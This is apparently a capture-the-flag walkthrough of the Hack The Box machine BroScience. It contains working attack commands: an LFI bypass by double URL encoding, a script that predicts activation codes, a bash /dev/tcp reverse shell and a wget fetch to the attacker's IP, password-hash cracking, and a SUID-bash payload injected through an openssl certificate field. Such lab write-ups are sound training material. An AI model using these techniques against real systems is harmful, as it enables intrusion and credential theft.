
BroScience is a Medium Difficulty Linux machine that features a web application vulnerable to LFI. Through the ability to read arbitrary files on the target, the attacker gains an insight into how account activation codes are generated, and is thus able to create a set of potentially valid tokens to activate a newly created account. Once logged in, further enumeration reveals that the site's theme-picker functionality is vulnerable to PHP deserialisation using a custom gadget chain, allowing an attacker to copy files on the target system, eventually leading to remote code execution. Once a foothold has been established, a handful of hashes are recovered from a database, which once cracked prove to contain a valid SSH password for the machine's main user bill. Finally, the privilege escalation is based on a cronjob executing a Bash script that is vulnerable to command injection through a certificate generated by openssl, forfeiting root access to the attacker.
lets start with an nmap scan
nmap -p- -T5 10.129.228.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-26 01:38 -0400
Nmap scan report for 10.129.228.129
Host is up (0.018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
Nmap done: 1 IP address (1 host up) scanned in 12.07 seconds
nmap -p 22,80,443 -sCV 10.129.228.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-26 01:43 -0400
Nmap scan report for 10.129.228.129
Host is up (0.023s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 df:17:c6:ba:b1:82:22:d9:1d:b5:eb:ff:5d:3d:2c:b7 (RSA)
| 256 3f:8a:56:f8:95:8f:ae:af:e3:ae:7e:b8:80:f6:79:d2 (ECDSA)
|_ 256 3c:65:75:27:4a:e2:ef:93:91:37:4c:fd:d9:d4:63:41 (ED25519)
80/tcp open http Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open ssl/http Apache httpd 2.4.54 ((Debian))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.54 (Debian)
| tls-alpn:
|_ http/1.1
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after: 2023-07-14T19:48:36
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.53 seconds
we see the website name broscience.htb
we visit website called broscience which highlights three foundational strength-training movements
looking at the page source Images are loaded in a non-standard way on this web page
the img.php file is responsible for loading images
looking at the includes directory lead us to this
tesing for lfi
we get detected
I removed the forward slash and this time we don't get detected
so i add the forward slash back but url encoded it
so it gets detected again so we going to double url encode the percent character
we bypass lfi
This code is a PHP script designed to serve image files from a server while attempting to block security attacks.
Parameter Validation
if (!isset($_GET['path'])) {
die('<b>Error:</b> Missing \'path\' parameter.');
}
What it does: It checks if the URL contains a query parameter named path (e.g., ?path=logo.png)
.Result: If path is missing, the script stops immediately and displays an error message
The Blacklist Filter (The Security Check)
$path = $_GET['path'];
$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
if (strpos($path, $badword) !== false) {
die('<b>Error:</b> Attack detected.');
}
}
What it does: It looks at the value provided in path and checks it against a blacklist of forbidden phrases (../, etc/passwd, and .ssh). These phrases are commonly used in Directory Traversal attacks to break out of the intended folder.
Result: If it finds any of these phrases, it blocks the request and displays "Error: Attack detected."
The Flawed Normalization Step
$path = urldecode($path);
What it does: It manually decodes the text in the path variable a second time.
The Flaw: By putting this after the security check, it introduces a double-decoding vulnerability. If an attacker sends double-URL-encoded characters (like %252e%252e%252f), the security check sees harmless text and lets it pass. Then, this line decodes it into malicious characters (../), completely bypassing the filter.
File Delivery
header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);
What it does: It tells the browser to expect a PNG image. Then, it looks inside the server's /var/www/html/images/ folder, grabs the file specified in $path, and sends its raw contents directly to the user.
How to Fix This Safely (Remediation)
// Secure alternative: Forces the application to only look inside the target directory
$filename = basename($_GET['path']);
echo file_get_contents('/var/www/html/images/' . $filename);
lets view db_connect.php
database configuration credentials
I use ffuf on the website
ffuf -u https://broscience.htb/FUZZ -w /home/arosion/wordlists/big.txt -e .php, .txt
ffuf -u https://broscience.htb/includes/FUZZ -w /home/arosion/wordlists/big.txt -e .php, .txt
lets view the utils.php
a PHP Script to Generate the Token
we see the function name that's responsible for activation code generation for newly registered users?
trying to view the /etc/passwd
I encode it to view it
we see a user name bill
back to the activation code I have ai create a activation code script
#!/bin/sh
DATE=$(curl -sk -D - -o /dev/null \
https://broscience.htb/register.php \
-d "username=victor&email=victor@gmail.com&password=cool1234&password-confirm=cool1234" |
grep -i '^Date:' | sed 's/^Date: //I' | tr -d '\r')
TS=$(date -d "$DATE" +%s)
php -r '
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand((int)$argv[1]);
$code = "";
for ($i = 0; $i < 32; $i++)
$code .= $chars[rand(0, strlen($chars)-1)];
echo "$code\n";
' "$TS"
chmod +x gen.code.sh
./gen.code.sh
as we see user-prefs is the name of the cookie that gets set on successful login to an activated account
make sure to create a php webshell
I had ai create a script that generate a cookie
./generate.php
make sure to have your python server running
python3 http.server 80
type the cookie you generated and refresh the page
nc -lvnp 443
curl -k 'https://broscience.htb/shell.php' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.180/443 0>&1"'
upgrade shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
Press Ctrl-Z, then on Kali:
stty raw -echo; fg
Press Enter, followed by
export TERM=xterm
lets login to the database using the creds we got earlier
psql -h 127.0.0.1 -d broscience -U dbuser
\dt
Lists all tables in the current database schema to find where user data is stored
select * from users;
Dumps all rows and columns from the users table, which typically contains usernames and password hashes
\pset format unaligned
\pset tuples_only on
Disables table borders/alignment and hides column headers/footers to produce a clean, raw text output of the data for scripting
tr '|' ':' < hashes.txt > cracked_hashes.txt
Replaces pipe delimiters (|) with colons (:) in a local file named hashes.txt to format it correctly for password crackers
sed 's/$/:NaCl/' cracked_hashes.txt > salted_hashes.txt
Appends a static salt (:NaCl) to the end of every line in the hash file, mimicking how the application stores salted passwords.
cat salted_hashes.txt
Prints the contents of the newly created salted hash file to verify the formatting before cracking
hashcat salted_hashes.txt --user /usr/share/wordlists/rockyou.txt
I do this to see what mode to run on
I'm go with mode 20
hashcat salted_hashes.txt --user -m 20 --show
back on the target machine
su bill
here the user flag
use a tool called pspy
https://github.com/DominicBreuker/pspy
make sure to have python server running on attack machine
python3 -m http.server 8000
on target machine
wget http://10.10.15.180:8000/pspy64
Downloads the 64-bit version of the pspy binary from your local attacker machine (10.10.15.180) onto the target system.
chmod +x pspy64
Modifies the file permissions to make the downloaded pspy64 binary executable.
./pspy64 -pf -i 1000
Executes pspy. The flags tell it to show process execution triggers (-p), show file system events (-f), and check for new processes every 1000 milliseconds / 1 second (-i 1000). You likely used this to spot a background cron job or automated script running as root.
before doing the steps below it wouldn't work until i ssh into bill
ssh bill@broscience.htb
openssl req -x509 -nodes -newkey rsa:2048 -keyout /dev/null -out Certs/broscience.crt -days 1
Generates a temporary self-signed SSL certificate valid for 1 day, discarding the private key (/dev/null) and saving the certificate to Certs/broscience.crt.
$(cp /bin/bash /tmp/victor; chmod 4777 /tmp/victor)
This is the malicious payload likely injected into the application or certificate field. When the root cron job runs, it executes this command as root.
It copies the system shell (
/bin/bash) to a temporary file named/tmp/victor.It applies
chmod 4777to it. The4is crucial—it sets the SUID (Set Owner User ID) bit. This ensures that whoever runs/tmp/victorwill execute it with the permissions of the file's owner (root).
ls -la /tmp/victor
Checks the /tmp directory to confirm the exploit worked. You are looking to see if the file victor exists, is owned by root, and has the SUID bit active (indicated by an -rwsrwxrwx in the permissions).
/tmp/victor -p
Executes your custom SUID bash shell. The -p (privileged) flag is mandatory because modern versions of bash will drop root privileges by default unless explicitly told to preserve them. Executing this successfully grants you an interactive root shell.
we get root


